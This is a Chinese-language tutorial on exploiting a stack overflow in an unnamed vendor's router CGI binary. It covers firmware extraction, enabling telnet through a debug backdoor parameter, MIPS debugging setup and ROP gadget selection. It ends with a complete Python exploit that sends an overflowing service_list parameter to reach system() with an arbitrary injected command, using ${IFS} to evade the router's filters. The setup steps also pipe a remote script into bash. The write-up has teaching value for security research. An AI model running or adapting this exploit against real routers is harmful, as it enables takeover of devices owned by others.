虽然目前已经有了很多很多路由器漏洞挖掘的文章资料,但是适合新手入门的、涉及环境配置细节的教学文章还是比较少,本文将带你一步步学习如何从零开始挖掘某厂商路由器的漏洞,通过实际操作和工具使用,深入了解固件分析、动态调试和漏洞利用的全过程,希望可以帮助读者少走一些弯路。
Binwalk是一个固件分析工具,可以帮助我们提取和分析嵌入式固件镜像。首先,按照以下步骤安装binwalk:
binwalk作者为Ubuntu系统定制了依赖的安装脚本,直接执行deps.sh,免去大部分烦恼!
git clone https://github.com/ReFirmLabs/binwalk
cd binwalk
sudo python3 setup.py install
sudo ./deps.sh
在开始漏洞挖掘之前,我们需要下载并解包路由器的固件。本文以某厂商路由器为例,首先从官网下载固件,然后使用binwalk进行解包:
binwalk -Me <firmware_file>
目标路由器属于MIPSEL架构,漏洞二进制位于setup.cgi(许多路由器的漏洞都位于CGI中,所以可以多看看,而且也比较容易利用)
file setup.cgi
setup.cgi: ELF 32-bit LSB shared object, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
main函数在setup_main
sub_555BA950
从nvram中获取了环境变量fw_out_rules
的值,没有进行长度检查,在sscanf
格式化写入到v16
导致栈溢出。
通过交叉引用fw_out_rules
可以发现该环境变量在sub_55567D8C
被设置。
交叉引用上面所说的两个函数 可以发现都是通过ActionTab
方式按名调用,分别是rule_list_simple_out
和outmove
可以在固件解包的目录下grep
搜索对应的字符串找到对应的外部接口,下面结合前端后端进行分析。
直接访问fw_rules.htm
,搞几个规则,使用 nvram show | grep fw_out_rules
可以看到这个变量储存的是Service name还有一些数字啥的。
所以我们需要控制请求里的 service_list
参数,来修改fw_out_rules
,最后访问BKS_service_add.htm
触发栈溢出。
虽然该款路由器开启调试的方式早已公开,但是为了弄清楚细节,最好的办法是手工逆一下。
其中函数CallActionByName
通过查ActionTab
表比对参数todo
的值方式来调用函数todo
中的参数对应函数
<img src="https://s2.loli.net/2022/01/13/9WGF231OVSjyheT.png" alt="image-20220107154406516" style="zoom: 67%;" />
注意到这个部分在许多函数中都有出现,搜索发现是一个为了修CNNVD-201306-024而写的一个check(IoT 分析 | 路由器漏洞频发,mirai 新变种来袭 - 云+社区 - 腾讯云 (tencent.com))。
所以可以通过todo=debug
开启telnet
192.168.1.1/setup.cgi?todo=debug
telnet 192.168.1.1
在路由器上也要进行相应的调试配置
注意路由器是小端序,参数加上-EL
sudo apt-get install linux-libc-dev-mipsel-cross
sudo apt-get install libc6-mipsel-cross libc6-dev-mipsel-cross
sudo apt-get install binutils-mipsel-linux-gnu gcc-mipsel-linux-gnu
sudo apt-get install g++-mipsel-linux-gnu
wget https://ftp.gnu.org/gnu/gdb/gdb-10.1.tar.xz
tar xvf gdb-10.1.tar.xz
cd gdb-10.1
CC="mips-linux-gnu-gcc -EL" CXX="mips-linux-gnu-g++" ./configure --target=mips-linux-gnu --host="mips-linux-gnu" --prefix="/root/tgdb" LDFLAGS="-static"
make -j7
编译不了,不知道为啥(
这里下一个
https://github.com/stayliv3/gdb-static-cross/tree/master/prebuilt
HatLab Tools Library: 海特实验室IoT安全工具/环境整合 - Gitee.com
比较好的办法是使用http server
python -m http.server 9999
wget http://192.168.1.2:9999/gdbserver
由于setup.cgi不是持久存在的,需要循环attach,这个脚本可以解决。
int=1
while [ $int -le 1000 ]; do
/tmp/gdbserver 0.0.0.0:12345 --attach `ps -A | grep setup.cgi | awk '{print $1}' | head -n 1`
done
环境: Ubuntu 21
gef是异构动态调试做的比较好的一款gdb插件,推荐使用。
bash -c "$(wget http://gef.blah.cat/sh -O -)"
普通的gdb无法调试mips架构的二进制,所以你需要gdb-multiarch,Ubuntu的话直接使用apt就可以进行安装了。
sudo apt install gdb-multiarch
为了让gdb正确进行调试,首先需要进行一下环境配置。
set arch mips
set endian little
gef-remote 192.168.1.1:12345
在调试过程可以断到gadget,以及加载libc符号,如果觉得每次敲gdb命令比较繁琐,可以将gdb的命令保存成文件,然后在使用gdb-multiarch
通过-x
选项直接通过文件加载命令:
set arch mips
set endian little
gef-remote 192.168.1.1:12345
b *0x555BAC2C
gdb-multiarch setup.cgi -x ./gdb.cmd
IDA反汇编出来的base可能跟实际基址不一样,可以调出实际的基址再rebase一下。
mips调用函数时将返回地址放在 $ra
,与x86架构类似,在函数起始处压栈,结束时弹出,通过ja
指令跳到返回地址,所以需要溢出到var_s24
来劫持控制流。
介绍一下 mips 下神奇的函数调用:
在这里跳到 $t9
也就是 system
之后,会执行一下下面的那条语句(也就是 5B068
处的语句)之后才继续在 system 里面执行
那么这个gadget 我们就可以把 sp + 0xa8 + 0x88 处放一个command
的指针,这样就会调用 system(ptr)
了
然后执行命令可以执行 ping
命令(其中 ping 需要绝对路径,需要注意):
/bin/ping hv14uf.dnslog.cn -c 2
MIPS架构推荐使用ropper
进行查找,查找时可以参考可被控制的寄存器来筛选gadget。
file setup.cgi
search addiu $a0
一开始找到了这个,后来发现怎么也打不通
0x5556af20: addiu $a0, $sp, 0x18; lw $ra, 0x5c($sp); lw $v0, 0x18($sp); jr $ra; addiu $sp, $sp, 0x60;
0x55567650: la $t9, system; nop; jalr $t9; nop;
后来翻了翻CTF中常见的C语言输入函数截断属性总结 | Clang裁缝店 (xuanxuanblingbling.github.io)发现是0x20截断了,所以我们system执行的command
也需要绕过空格。
同时在FindForbidValue
函数里也check了一些敏感字符/关键字,包含这些字符的请求包将会被丢弃。
<img src="https://s2.loli.net/2022/01/13/1r5sHdV8MGNlgLY.png" alt="image-20220112183944202.png" style="zoom: 67%;" />
后来还是用原来的(,将command
写到 $a0-0x60
上,跳到0x55567650
执行就行了。
0x55592ce4: addiu $a0, $a0, -0x60; lw $ra, 0x1c($sp); move $v0, $zero; jr $ra; addiu $sp, $sp, 0x20;
0x55567650: la $t9, system; nop; jalr $t9; nop;
如果你也比较懒的的话,可以用cyclic -l
来找偏移。
调试时发现$a0
的值会随长度变化而变化,所以得填充一下,调试时用的长度500,这里也pad到500,如果想执行更长的命令,可以增加一下payload长度。
import requests,re
import base64
url = "http://192.168.1.1/"
user = "aaaa"
pwd = "xxxx!"
command = '/bin/ping xxx.dnslog.cn -c 4'
command = command.replace(" ", "${IFS}")
auth = "Basic " + base64.b64encode((user + ":" + pwd).encode()).decode("utf-8")
def login():
get_sessionid = requests.get(url)
sessionid = get_sessionid.headers["Set-Cookie"]
headers = {
"Authorization" : auth,
"Cookie" : sessionid
}
r = requests.get(url,headers = headers)
if r.status_code == 200:
print("[+] Login success!")
return sessionid
else:
print("[-] Login failed!")
exit(0)
def get_sid(sessionid):
headers = {
"Authorization" : auth,
"Cookie" : sessionid
}
get_sid = requests.get(url + "fw_rules.htm",headers = headers)
sid = re.findall(r'\?id=[a-f0-9]+', get_sid.content.decode("utf-8"))
return sid[0]
def attack(sessionid):
attackurl = url + "setup.cgi" + get_sid(sessionid)
payload = "a" * 376
payload += "%e4%2c%59%55" # ra = 0x55592ce4: addiu $a0, $a0, -0x60; lw $ra, 0x1c($sp); move $v0, $zero; jr $ra; addiu $sp, $sp, 0x20;
payload += "b" * 0x1c
payload += "%50%76%56%55" # ra = 0x55567650: la $t9, system; nop; jalr $t9; nop;
payload += "c" * 8
payload += "%0a{}%0a".format(command)
pad = 500 - (len(payload) - 4)
if(pad >= 0):
payload += "c" * pad # pad len to 500
print("[+] Attack start")
print(attackurl,payload)
data = "save=Apply&service_list=" + payload + "&fwout_action=0&fwout_laniptype=anyip&fwout_waniptype=anyip&fwout_logging=1&h_fwout_action=0&h_fwout_laniptype=anyip&h_fwout_waniptype=anyip&h_fwout_logging=1&h_service_list=AIM&c4_lan_start_ip=192.168.1.NaN&c4_lan_finish_ip=192.168.1.NaN&c4_wan_start_ip=&c4_wan_finish_ip=&h_ruleSelect=0&edit=0&todo=save&this_file=rule_out.htm&next_file=BKS_service_add.htm&SID="
headers = {
"Cookie" : sessionid,
"Authorization" : auth
}
r = requests.post(url = attackurl,data = data,headers = headers)
if r.status_code:
print("[+] Attack success!, the result is:")
print(r.content)
else:
print("[-] Attack failed!")
exit(0)
sessionid = login()
attack(sessionid)
TP-Link WR841N 栈溢出漏洞(CVE-2020-8423)分析 - Lonely Blog (wuhao13.xin)
HWS赛题 入门 MIPS Pwn | Clang裁缝店 (xuanxuanblingbling.github.io)
思科路由器 RV110W CVE-2020-3331 漏洞复现 | Clang裁缝店 (xuanxuanblingbling.github.io)
1 篇文章
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!